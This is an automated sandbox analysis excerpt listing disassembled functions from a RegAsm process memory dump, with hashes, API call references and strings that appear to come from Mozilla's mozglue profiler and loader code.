Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 5f6aeaad223e49d94c65c48ad468b616bb6d76f36f5dea14b2d882c7f483354f
Instruction ID: 276f0b81edef7760af0073330c160acdd188cb44ad5e9a6ac0c3d0c80eb00f35
Opcode Fuzzy Hash: 5f6aeaad223e49d94c65c48ad468b616bb6d76f36f5dea14b2d882c7f483354f
Instruction Fuzzy Hash: 19C1D275E012498BCB04CF95C9906EEBBF2FF8A318FA8415ED8556BB44D732A915CF80

Function 6C540512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: b4ca625066372b300f0aad46512f87b787189f601eade58c407e62254c78dca5
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: CD221971E04629CFDB14CF98C890AADFBB2FF88304F648699D44AA7745D731A985CF80

Function 6C58AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ebf1ba4e8b66be4f9bd147ceab896379678f443c325e86a36f58b30ece537fb
Instruction ID: 0aa1dd2151b87044de349a7730bf70b8a2ef099f663eff9adea4f367dfdf7bb4
Opcode Fuzzy Hash: 6ebf1ba4e8b66be4f9bd147ceab896379678f443c325e86a36f58b30ece537fb
Instruction Fuzzy Hash: 78F1487160A7658FD700CF28CC903AAB7E6AFC5318F198A2DE5D4877C1E774D8898792

Function 6C51C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 44188af9cdf714a014c06f70c150c3ce7fae1c07cd84ff36281dc88c90c6332e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: A3A1A171F0421A8BEB08CE69C8953AEB7F2AFC9354F188139D915E7781D775AC068BD0

Function 6C5755F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C54E1A5), ref: 6C575606
LoadLibraryW.KERNEL32(gdi32,?,6C54E1A5), ref: 6C57560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C575633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C57563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C57566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C57567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C575696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5756B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5756CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5756E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5756FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C575716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C57572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C575748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C575761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C57577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C575793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5757A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5757BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5757D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5757EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5757FF

Strings

GetThreadDpiAwarenessContext, xrefs: 6C57562D
CreateSolidBrush, xrefs: 6C5757E4
SetWindowPos, xrefs: 6C5756F7
StretchDIBits, xrefs: 6C5757CC
gdi32, xrefs: 6C57560A
GetWindowDC, xrefs: 6C575710
LoadIconW, xrefs: 6C57575B
MonitorFromWindow, xrefs: 6C57578D
GetDpiForWindow, xrefs: 6C575690
DeleteObject, xrefs: 6C5757F9
SetWindowLongPtrW, xrefs: 6C5757B7
FillRect, xrefs: 6C575729
ReleaseDC, xrefs: 6C575742
RegisterClassW, xrefs: 6C5756AC
GetMonitorInfoW, xrefs: 6C5757A2
CreateWindowExW, xrefs: 6C5756C5
GetSystemMetricsForDpi, xrefs: 6C575677
ShowWindow, xrefs: 6C5756DE
AreDpiAwarenessContextsEqual, xrefs: 6C575637
user32, xrefs: 6C575601
EnableNonClientDpiScaling, xrefs: 6C575666
LoadCursorW, xrefs: 6C575774

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 95d8c8e4e8149c55efcfbdb9f3ba59fd469dbfc3c1e1dc9c79721c6bac77fb5f
Instruction ID: 82b2e8490416a1a6a2dd9af0d291e1546806343233125d636c7f998f1f333ef0
Opcode Fuzzy Hash: 95d8c8e4e8149c55efcfbdb9f3ba59fd469dbfc3c1e1dc9c79721c6bac77fb5f
Instruction Fuzzy Hash: 095146707117929BEB11AF358D4492A3AFCAB0B24576345ADB912E2A52EF74CC40CF78

Function 6C55CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C52582D), ref: 6C55CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C52582D), ref: 6C55CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C58FE98,?,?,?,?,?,6C52582D), ref: 6C55CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C52582D), ref: 6C55CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C52582D), ref: 6C55CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C52582D), ref: 6C55CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C52582D), ref: 6C55CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C55CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C55CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C55CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C55CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C55CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C55CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C55CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C55CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C55CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C55CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C55CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C55CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C55CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C55CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C55CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C55CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C55CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C55CE8A

Strings

markersallthreads, xrefs: 6C55CE42
java, xrefs: 6C55CC37
preferencereads, xrefs: 6C55CD92
mainthreadio, xrefs: 6C55CC7C
fileioall, xrefs: 6C55CCA8
jsallocations, xrefs: 6C55CD0E
ipcmessages, xrefs: 6C55CDBE
stackwalk, xrefs: 6C55CCF8
screenshots, xrefs: 6C55CCD4
unregisteredthreads, xrefs: 6C55CE58
processcpu, xrefs: 6C55CE6E
seqstyle, xrefs: 6C55CCE6
noiostacks, xrefs: 6C55CCBE
audiocallbacktracing, xrefs: 6C55CDD4
power, xrefs: 6C55CE84
fileio, xrefs: 6C55CC92
cpuallthreads, xrefs: 6C55CE16
samplingallthreads, xrefs: 6C55CE2C
default, xrefs: 6C55CC21
nativeallocations, xrefs: 6C55CDA8
notimerresolutionchange, xrefs: 6C55CE00
leaf, xrefs: 6C55CC66
nostacksampling, xrefs: 6C55CD7C
Unrecognized feature "%s"., xrefs: 6C55CEA0

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 14569d9f4356a89851d9d11d5aeafaebec0419006d48738cbc32bb496c2bd520
Instruction ID: 199ec7a9c5d365c10ce24ab127afef61108bf50ad6cb480f9462001239660ef8
Opcode Fuzzy Hash: 14569d9f4356a89851d9d11d5aeafaebec0419006d48738cbc32bb496c2bd520
Instruction Fuzzy Hash: E2519AF1A0737551FA0170656D10BAA1448EF9F34AF904937DE07E1E80FF09BA2A86B7

Function 6C524470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C524730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5244B2,6C59E21C,6C59F7F8), ref: 6C52473E
Part of subcall function 6C524730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C52474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5244BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5244D2
InitOnceExecuteOnce.KERNEL32(6C59F80C,6C51F240,?,?), ref: 6C52451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C52455C
LoadLibraryW.KERNEL32(?), ref: 6C524592
InitializeCriticalSection.KERNEL32(6C59F770), ref: 6C5245A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5245AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5245BB
InitOnceExecuteOnce.KERNEL32(6C59F818,6C51F240,?,?), ref: 6C524612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C524636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C524644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C52466D
VerSetConditionMask.NTDLL ref: 6C52469F
VerSetConditionMask.NTDLL ref: 6C5246AB
VerSetConditionMask.NTDLL ref: 6C5246B2
VerSetConditionMask.NTDLL ref: 6C5246B9
VerSetConditionMask.NTDLL ref: 6C5246C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5246CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5246F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5246FD

Strings

NativeNtBlockSet_Write, xrefs: 6C5246F7
kernel32.dll, xrefs: 6C5244CD
user32.dll, xrefs: 6C524557, 6C52463F
l, xrefs: 6C524578
GYl, xrefs: 6C5244FC
WRusr.dll, xrefs: 6C5244B5

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GYl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-281007556
Opcode ID: 350a316b3aaed2936b8da1ce7cec47cacb136703c73935910bfbc0761d408b00
Instruction ID: ed26ca32a29de0877759e11616d642dbf8f092830965ee72b3a3adb14d770121
Opcode Fuzzy Hash: 350a316b3aaed2936b8da1ce7cec47cacb136703c73935910bfbc0761d408b00
Instruction Fuzzy Hash: EA6128B0A003C4AFFB109F60CC09B957BF8EB46308F1686D8F5459B681D7B89945CF91

Function 6C55F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C524A68), ref: 6C55945E
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C559470
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C559482
Part of subcall function 6C559420: __Init_thread_footer.LIBCMT ref: 6C55949F

GetCurrentThreadId.KERNEL32 ref: 6C55F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C55F8F9

Part of subcall function 6C526390: GetCurrentThreadId.KERNEL32 ref: 6C5263D0
Part of subcall function 6C526390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5263DF
Part of subcall function 6C526390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C52640E

ReleaseSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55F93A
GetCurrentThreadId.KERNEL32 ref: 6C55F98A
GetCurrentThreadId.KERNEL32 ref: 6C55F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55F716

Part of subcall function 6C5594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5594EE
Part of subcall function 6C5594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C559508

Part of subcall function 6C51B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C51B5E0

GetCurrentThreadId.KERNEL32 ref: 6C55F739
AcquireSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55F746
GetCurrentThreadId.KERNEL32 ref: 6C55F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C59385B,00000002,?,?,?,?,?), ref: 6C55F829
free.MOZGLUE(?,?,00000000,?), ref: 6C55F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C55F866
free.MOZGLUE(?), ref: 6C55FA0C

Part of subcall function 6C525E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5255E1), ref: 6C525E8C
Part of subcall function 6C525E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C525E9D
Part of subcall function 6C525E60: GetCurrentThreadId.KERNEL32 ref: 6C525EAB
Part of subcall function 6C525E60: GetCurrentThreadId.KERNEL32 ref: 6C525EB8
Part of subcall function 6C525E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C525ECF
Part of subcall function 6C525E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C525F27
Part of subcall function 6C525E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C525F47
Part of subcall function 6C525E60: GetCurrentProcess.KERNEL32 ref: 6C525F53
Part of subcall function 6C525E60: GetCurrentThread.KERNEL32 ref: 6C525F5C
Part of subcall function 6C525E60: GetCurrentProcess.KERNEL32 ref: 6C525F66
Part of subcall function 6C525E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C525F7E

free.MOZGLUE(?), ref: 6C55F9C5
free.MOZGLUE(?), ref: 6C55F9DA

Strings

" attempted to re-register as ", xrefs: 6C55F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C55F9A6
Thread , xrefs: 6C55F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C55F71F

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: f6a0324ee70af98fa9cd5d27190fc604b205b7cb7b27aaf72927e8430dea42db
Instruction ID: e70d55724929e196631f26cb9694e1d924c2adbc5245fca041fa065c19924f0d
Opcode Fuzzy Hash: f6a0324ee70af98fa9cd5d27190fc604b205b7cb7b27aaf72927e8430dea42db
Instruction Fuzzy Hash: F981E3B1604640DFDB10DF64CC40AAAB7B5AFC5308F86469EE84997B51EB30AC59CB92

Function 6C55EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C524A68), ref: 6C55945E
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C559470
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C559482
Part of subcall function 6C559420: __Init_thread_footer.LIBCMT ref: 6C55949F

GetCurrentThreadId.KERNEL32 ref: 6C55EE60
AcquireSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55EE6D
ReleaseSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C55EEA5
CloseHandle.KERNEL32(?), ref: 6C55EEB4
free.MOZGLUE(00000000), ref: 6C55EEBB
GetCurrentThreadId.KERNEL32 ref: 6C55EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55EECF

Part of subcall function 6C55DE60: GetCurrentThreadId.KERNEL32 ref: 6C55DE73
Part of subcall function 6C55DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C524A68), ref: 6C55DE7B
Part of subcall function 6C55DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C524A68), ref: 6C55DEB8
Part of subcall function 6C55DE60: free.MOZGLUE(00000000,?,6C524A68), ref: 6C55DEFE
Part of subcall function 6C55DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C55DF38

Part of subcall function 6C54CBE8: GetCurrentProcess.KERNEL32(?,6C5131A7), ref: 6C54CBF1
Part of subcall function 6C54CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5131A7), ref: 6C54CBFA

GetCurrentThreadId.KERNEL32 ref: 6C55EF1E
AcquireSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55EF2B
ReleaseSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55EF59
GetCurrentThreadId.KERNEL32 ref: 6C55EFB0
AcquireSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55EFBD
ReleaseSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55EFE1
GetCurrentThreadId.KERNEL32 ref: 6C55EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55F000

Part of subcall function 6C5594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5594EE
Part of subcall function 6C5594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C559508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C55F02F

Part of subcall function 6C55F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C55F09B
Part of subcall function 6C55F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C55F0AC
Part of subcall function 6C55F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C55F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C55F008
[I %d/%d] profiler_stop, xrefs: 6C55EED7

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 4f06686b918210c604b39266f080f9c4e3f3962a47646f716a41e7475e1d22a2
Instruction ID: fa45b89462627bc962d5d415282a75f2b477fdca107f55f64e6e86494e2794a1
Opcode Fuzzy Hash: 4f06686b918210c604b39266f080f9c4e3f3962a47646f716a41e7475e1d22a2
Instruction Fuzzy Hash: ED51F631704290DFEB10AF64DC087A977B8EB86318F5706D6F91983B41DB795C24C7AA

Function 6C525E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C525E9D

Part of subcall function 6C535B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5356EE,?,00000001), ref: 6C535B85
Part of subcall function 6C535B50: EnterCriticalSection.KERNEL32(6C59F688,?,?,?,6C5356EE,?,00000001), ref: 6C535B90
Part of subcall function 6C535B50: LeaveCriticalSection.KERNEL32(6C59F688,?,?,?,6C5356EE,?,00000001), ref: 6C535BD8
Part of subcall function 6C535B50: GetTickCount64.KERNEL32 ref: 6C535BE4

